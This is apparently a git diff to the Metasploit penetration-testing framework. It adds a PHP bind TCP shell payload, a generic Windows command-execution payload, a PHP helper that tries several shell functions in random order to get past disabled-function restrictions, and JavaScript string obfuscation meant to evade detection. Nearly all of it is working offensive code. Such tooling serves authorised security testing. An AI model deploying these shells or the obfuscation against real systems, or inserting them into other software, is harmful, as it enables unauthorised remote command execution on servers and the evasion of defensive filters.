diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb new file mode 100644 index 0000000000..c06ba6e47a --- /dev/null +++ b/lib/msf/core/payload/php.rb @@ -0,0 +1,116 @@ +require 'msf/core' + +### +# +### +module Msf::Payload::Php + + def initialize(info = {}) + super(info) + end + + def get_system_block(cmd="$cmd") + preamble = " + @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0); + $disabled=@ini_get('disable_functions'); + if(!empty($disabled)){ + $disabled=preg_replace('/[, ]+/', ',', $disabled); + $disabled=explode(',', $disabled); + $disabled=array_map('trim', $disabled); + }else{ + $disabled=array(); + } + " + shell_exec = " + if(is_callable('shell_exec')and!in_array('shell_exec',$disabled)){ + $output=shell_exec($cmd); + }else" + passthru = " + if(is_callable('passthru')and!in_array('passthru',$disabled)){ + ob_start(); + passthru($cmd); + $output=ob_get_contents(); + ob_end_clean(); + }else" + system = " + if(is_callable('system')and!in_array('system',$disabled)){ + ob_start(); + system($cmd); + $output=ob_get_contents(); + ob_end_clean(); + }else" + exec = " + if(is_callable('exec')and!in_array('exec',$disabled)){ + $output=array(); + exec($cmd,$output); + $output=join(chr(10),$output).chr(10); + }else" + proc_open = " + if(is_callable('proc_open')and!in_array('proc_open',$disabled)){ + $handle=proc_open($cmd,array(array(pipe,r),array(pipe,w),array(pipe,w)),$pipes); + $output=NULL; + while(!feof($pipes[1])){ + $output.=fread($pipes[1],1024); + } + @proc_close($handle); + }else" + popen = " + if(is_callable('popen')and!in_array('popen',$disabled)){ + $fp=popen($cmd,r); + $output=NULL; + if(is_resource($fp)){ + while(!feof($fp)){ + $output.=fread($fp,1024); + } + } + @pclose($fp); + }else" + fail_block = " + { + $output=false; + } + " + + exec_methods = [shell_exec, passthru, system, exec, proc_open, popen].sort_by { rand } + buf = preamble + exec_methods.join("") + fail_block + + # + # Replace all single-quoted strings with quoteless equivalents, e.g.: + # echo('asdf'); + # becomes + # echo($a.$s.$d.$f); + # and add "$a=chr(97);" et al to the top of the block + # + # Once this is complete, it is guaranteed that there are no spaces + # inside strings. This combined with the fact that there are no + # function definitions, which require a space between the "function" + # keyword and the name, means we can completely remove spaces. + # + #alpha_used = { 95 } + #buf.gsub!(/'(.*?)'/) { + # str_array = [] + # $1.each_byte { |c| + # if (('a'..'z').include?(c.chr)) + # alpha_used[c] = 1 + # str_array << "$#{c.chr}." + # else + # str_array << "chr(#{c})." + # end + # } + # str_array.last.chop! + # str_array.join("") + #} + #if (alpha_used.length > 1) + # alpha_used.each_key { |k| buf = "$#{k.chr}=chr(#{k});" + buf } + #end + + #buf.gsub!(/\s*/, '') + if cmd != "$cmd" + buf = "$cmd=#{cmd};" + buf + end + + return buf + + end + +end diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index abe763bcfd..53bb63ffdb 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -801,11 +801,16 @@ class Core (global) ? "Global" : "Module: #{active_module.refname}", datastore) + "\n") return true - elsif (args.length < 2) - print( - "Usage: set name value\n\n" + - "Sets an arbitrary name to an arbitrary value.\n") - return false + elsif (args.length == 1) + if (not datastore[args[0]].nil?) + print_line("#{args[0]} => #{datastore[args[0]]}") + return true + else + print( + "Usage: set name value\n\n" + + "Sets an arbitrary name to an arbitrary value.\n") + return false + end end # Set the supplied name to the supplied value diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 6c579e3b88..edbd3c4c0a 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -5,6 +5,8 @@ module Exploitation # Obfuscates javascript in various ways # class ObfuscateJS + STRINGS_SINGLE_QUOTES = 0 + STRINGS_DOUBLE_QUOTES = 1 # # Obfuscates symbols found within a javascript string. The symbols @@ -39,7 +41,11 @@ class ObfuscateJS # Returns the dynamic symbol associated with the supplied symbol name # def sym(name) - @dynsym[name] + if (@dynsym[name]) + @dynsym[name] + else + name + end end # @@ -52,6 +58,15 @@ class ObfuscateJS # Globally replace symbols replace_symbols(opts['Symbols']) if opts['Symbols'] + if (opts['Strings']) + obfuscate_strings(opts['Strings']) + # since there shouldn't be spaces in strings after the call to + # obfuscate_strings, we can safely randomize the spaces as well + @js = Rex::Text.compress(@js) + @js = Rex::Text.randomize_space(@js) + end + + @js end @@ -98,7 +113,34 @@ protected } end + def obfuscate_strings(type=STRINGS_SINGLE_QUOTES) + if type == STRINGS_SINGLE_QUOTES + regex = /'.*?[^\\]'/ + else + regex = /".*?[^\\]"/ + end + return @js.gsub!(regex) { |str| + str = str[1,str.length-2] + case (rand(3)) + when 0 + buf = '"' + Rex::Text.to_hex(str) + '"' + when 1 + buf = "unescape(\"" + Rex::Text.to_hex(str, "%") + "\")" + else + buf = "String.fromCharCode(" + str.each_byte { |c| + if (0 == rand(2)) + buf << "%i,"%(c) + else + buf << "0x%0.2x,"%(c) + end + } + buf = buf[0,buf.length-1] + ")" + end + buf + } + end end end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 39bea97e52..d3cbe87ba7 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -175,6 +175,25 @@ module Text end return buff end + def self.from_unescape(data, endian=ENDIAN_LITTLE) + buf = + if (data =~ /%u/) + data.split("%u").collect { |b| + next if b == "" + if (endian == ENDIAN_LITTLE) + "#{(b[2,2].to_i 16).chr}#{(b[0,2].to_i 16).chr}" + else + "#{(b[0,2].to_i 16).chr}#{(b[2,2].to_i 16).chr}" + end + }.join('') + else + data.split("%").collect { |b| + next if b == "" + "#{(b.to_i 16).chr}" + }.join('') + end + return buf + end # # Returns the hex version of the supplied string diff --git a/modules/payloads/singles/cmd/windows/generic.rb b/modules/payloads/singles/cmd/windows/generic.rb new file mode 100644 index 0000000000..20820e6784 --- /dev/null +++ b/modules/payloads/singles/cmd/windows/generic.rb @@ -0,0 +1,68 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Cmd +module Windows + +module Generic + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command, Generic command execution', + 'Version' => '$Revision$', + 'Description' => 'Executes the supplied command', + 'Author' => [ 'egypt', 'hdm' ], + 'License' => BSD_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute" ]), + ], self.class) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + return datastore['CMD'] || '' + end + +end + +end end end end end diff --git a/modules/payloads/singles/php/bind_tcp.rb b/modules/payloads/singles/php/bind_tcp.rb new file mode 100644 index 0000000000..475175d6a0 --- /dev/null +++ b/modules/payloads/singles/php/bind_tcp.rb @@ -0,0 +1,85 @@ +## +# $Id: reverse_php.rb 5461 2008-04-01 02:08:19Z egypt $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' +require 'msf/core/payload/php' +require 'msf/base/sessions/command_shell' + +module Msf +module Payloads +module Singles +module Php + +module BindTcp + + include Msf::Payload::Single + include Msf::Payload::Php + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'PHP Command Shell, Bind TCP (via php)', + 'Version' => '$Revision: 5461 $', + 'Description' => 'PHP bind shell', + 'Author' => 'egypt ', + 'License' => BSD_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + def php_bind_shell + + if (!datastore['LPORT'] or datastore['LPORT'].empty?) + # datastore is empty on msfconsole startup + port = 4444 + else + port = datastore['LPORT'] + end + + shell=<<-END_OF_PHP_CODE + $port=#{port}; + + $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); + $ret = socket_bind($sock, 0, $port); + $ret = socket_listen($sock, 5); + $client = socket_accept($sock); + + while (true) { + $cmd = socket_read($client, 2048, PHP_NORMAL_READ); + #{get_system_block("$cmd")} + socket_write($client, $output, strlen($output)); + } + socket_close($sock); + END_OF_PHP_CODE + + return shell + end + + # + # Constructs the payload + # + def generate + return super + php_bind_shell + end + + +end + +end end end end